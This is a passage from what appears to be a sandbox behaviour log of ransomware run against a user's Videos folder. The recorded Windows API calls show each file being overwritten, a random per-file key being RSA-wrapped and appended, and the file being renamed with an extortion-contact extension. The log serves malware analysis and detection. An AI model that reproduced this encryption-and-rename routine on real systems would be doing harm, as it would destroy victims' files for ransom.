lpBuffer=0x631898, nNumberOfBytesToRead=0x623c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x623c, lpOverlapped=0x0) returned 1 [0149.236] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-25148, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.236] WriteFile (in: hFile=0x60c, lpBuffer=0x637ae0*, nNumberOfBytesToWrite=0x623c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x637ae0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x623c, lpOverlapped=0x0) returned 1 [0149.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0149.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x637ae0 | out: hHeap=0x570000) returned 1 [0149.236] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x623c [0149.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.236] WriteFile (in: hFile=0x60c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="qzCfohAeE5sOkR5/gF7qY/tLxtn/gDJstkRyvV+dH7nSsnQ3oHaOygZ8FTm+lQvZ\nAcBiaG/XaUh0R8fcty2AuhSRdUygO3Am94XXf3pJV03S8cz59iLmhvb9mfjFkiQZ\nOx9jMGXkYHzEGtRLAzjG0gq5HACLX58yD8ZuqZzaszlDXedEYh2Ja8RWdJOBylJK\n4zp6xF58QN5mD0B75kCcPYtKHyiie4OQE7cxyeQFGgejom1bGvjk9uIWBY01Y1PE\nhyiNXpEY7T+sc8OPM7SYaoJxQveXZSmlimLjBL94tE17YDK+Ac+eOH9L5kP3t+J/\nAAG7d7KUeI3MSoSe3ZDyew==\n", pcchString=0x2e3f9a8) returned 1 [0149.237] WriteFile (in: hFile=0x60c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.237] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.237] WriteFile (in: hFile=0x60c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.237] CloseHandle (hObject=0x60c) returned 1 [0149.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.237] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\STyJ88lyvSUA.avi" (normalized: "c:\\users\\fd1hvy\\videos\\styj88lyvsua.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\STyJ88lyvSUA.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\styj88lyvsua.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0149.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.241] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.241] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\nbF5fUkJ1ZUu3He.swf", dwFileAttributes=0x80) returned 1 [0149.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0149.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.241] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0149.241] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\nbF5fUkJ1ZUu3He.swf" (normalized: "c:\\users\\fd1hvy\\videos\\nbf5fukj1zuu3he.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0149.241] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19648) returned 1 [0149.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4cc0) returned 0x631898 [0149.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4cc0) returned 0x636560 [0149.241] ReadFile (in: hFile=0x60c, lpBuffer=0x631898, nNumberOfBytesToRead=0x4cc0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x4cc0, lpOverlapped=0x0) returned 1 [0149.242] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-19648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.242] WriteFile (in: hFile=0x60c, lpBuffer=0x636560*, nNumberOfBytesToWrite=0x4cc0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x636560*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4cc0, lpOverlapped=0x0) returned 1 [0149.242] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0149.243] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x636560 | out: hHeap=0x570000) returned 1 [0149.243] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4cc0 [0149.243] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.243] WriteFile (in: hFile=0x60c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.243] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.243] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.243] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.243] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="XgglPDMeqoe3UYtV+Hg4KP30FYWmZEqGYv6CDvqMLZsPtjvLFMjvsdFDSsDqN/CV\nJbXJvX+5vm/PJQ4+Q/OpzAXaazESOPQ8cwuiX6O/MZOqlr9vdqlcGRtDqZqbW0jm\nkAnOMb+mk0NyaSfcCCkdnIshQ0+xt5t5ZvNS2pejKfIqdJu4h+f0ILf9DD3rxQyb\nVYFiHA3gbfo6lqmKBfRhDOBUDJlG7yPvDpQj4TgQSyOIJ0fxO38tQEGFEKwymiiH\nv0lftT2ExM15sUmEpa82u0ssvlgU45P0y8eCKZLna3yB4aN2Czv19ySsrL/pHL3+\nsUHIFEKOx/50gHVoVydHaA==\n", pcchString=0x2e3f9a8) returned 1 [0149.243] WriteFile (in: hFile=0x60c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.244] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.244] WriteFile (in: hFile=0x60c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.244] CloseHandle (hObject=0x60c) returned 1 [0149.244] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.244] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\nbF5fUkJ1ZUu3He.swf" (normalized: "c:\\users\\fd1hvy\\videos\\nbf5fukj1zuu3he.swf"), lpNewFileName="\\Users\\FD1HVy\\Videos\\nbF5fUkJ1ZUu3He.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\nbf5fukj1zuu3he.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0149.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.245] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0149.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.246] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.246] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\diO1.swf", dwFileAttributes=0x80) returned 1 [0149.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0149.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.246] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\diO1.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dio1.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0149.246] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=52124) returned 1 [0149.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcb9c) returned 0x631898 [0149.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcb9c) returned 0x63e440 [0149.246] ReadFile (in: hFile=0x60c, lpBuffer=0x631898, nNumberOfBytesToRead=0xcb9c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xcb9c, lpOverlapped=0x0) returned 1 [0149.247] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-52124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.247] WriteFile (in: hFile=0x60c, lpBuffer=0x63e440*, nNumberOfBytesToWrite=0xcb9c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63e440*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcb9c, lpOverlapped=0x0) returned 1 [0149.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0149.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63e440 | out: hHeap=0x570000) returned 1 [0149.248] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcb9c [0149.248] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.248] WriteFile (in: hFile=0x60c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.248] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.248] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.248] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.248] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="4Me4nDJABqaMkXz5EzOTQpCqe2iPq+cKgBRJVYv4hIgEWULwMzFKGlm7W/Fr77fv\niwd3MTmkqsSpCXA/1X9q25gxftavvbKhkZqcEgBzjcDMZugL/pdr+QeH109U+wsw\nny57pJQEIdq+z9zBhiOLuoTkt7MrPRc8boAHkQzRwe5Ua7Wr98gQkUVRWknsItbw\nELyX57Hgkv9rYV6VKPmVSmCk+s0zadCqo2T5dn8mDgdbdjlEPQ7xuoi1cr42wTm2\nieS3avYXQhqpRhyv8J0B5uxg2+btLHTedf61ZPHUperMRDrXzt9UoWpQXtssfq3A\nYyv3IdsthccbzQufbOZOTQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.248] WriteFile (in: hFile=0x60c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.249] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.249] WriteFile (in: hFile=0x60c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.249] CloseHandle (hObject=0x60c) returned 1 [0149.249] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.249] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\diO1.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dio1.swf"), lpNewFileName="\\Users\\FD1HVy\\Videos\\diO1.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\dio1.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0149.250] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0149.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0149.250] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.250] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.251] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0149.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0149.251] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0149.251] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0149.251] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=504) returned 1 [0149.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x57eca8 [0149.251] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1f8) returned 0x5c1ce8 [0149.252] ReadFile (in: hFile=0x60c, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0149.252] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.252] WriteFile (in: hFile=0x60c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1f8, lpOverlapped=0x0) returned 1 [0149.252] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0149.253] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.253] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1f8 [0149.253] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.253] WriteFile (in: hFile=0x60c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.253] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.253] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.253] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="bAKzE0D0YeYnsJD4WmFST1ARebugg0QXww99aEnL+kaBpHe7qzgANd+fza8jctiR\nOY9WuVDQsKpKtvozFRMxDdttr3FbA61RTiGr7NjqG8uc4eOPb31Brh9fOcC9NKD5\nV61ZbOaT/FbZe7ki14K3Zv5ikWpUD+Fz9xM10QrXShsDSz1I1sckn71K6+6mcmak\nAirhILiIxfgwsrsg4eREh5Qr30celG0v5O/wTfwW3yPXcENuThxgPZPGxS0dQIkx\nIThy9s1W1mVvExJF4cfsapSaMhrxGDj7oIlfTCtmBdjNknW9Qhgg/jNH7BMM48Js\nlgVHxczVE8MapJ1VoxtIqw==\n", pcchString=0x2e3f9a8) returned 1 [0149.253] WriteFile (in: hFile=0x60c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.261] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.261] WriteFile (in: hFile=0x60c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.261] CloseHandle (hObject=0x60c) returned 1 [0149.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.261] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Videos\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.262] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0149.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.263] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.263] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Videos\\BRqP.mkv", dwFileAttributes=0x80) returned 1 [0149.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0149.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0149.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0149.263] CreateFileW (lpFileName="\\Users\\FD1HVy\\Videos\\BRqP.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\brqp.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0149.263] GetFileSizeEx (in: hFile=0x60c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=99383) returned 1 [0149.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18437) returned 0x631898 [0149.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18437) returned 0x649cd8 [0149.263] ReadFile (in: hFile=0x60c, lpBuffer=0x631898, nNumberOfBytesToRead=0x18437, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x18437, lpOverlapped=0x0) returned 1 [0149.266] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-99383, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.266] WriteFile (in: hFile=0x60c, lpBuffer=0x649cd8*, nNumberOfBytesToWrite=0x18437, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x649cd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18437, lpOverlapped=0x0) returned 1 [0149.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0149.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x649cd8 | out: hHeap=0x570000) returned 1 [0149.267] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18437 [0149.267] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.267] WriteFile (in: hFile=0x60c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.268] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.268] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.268] 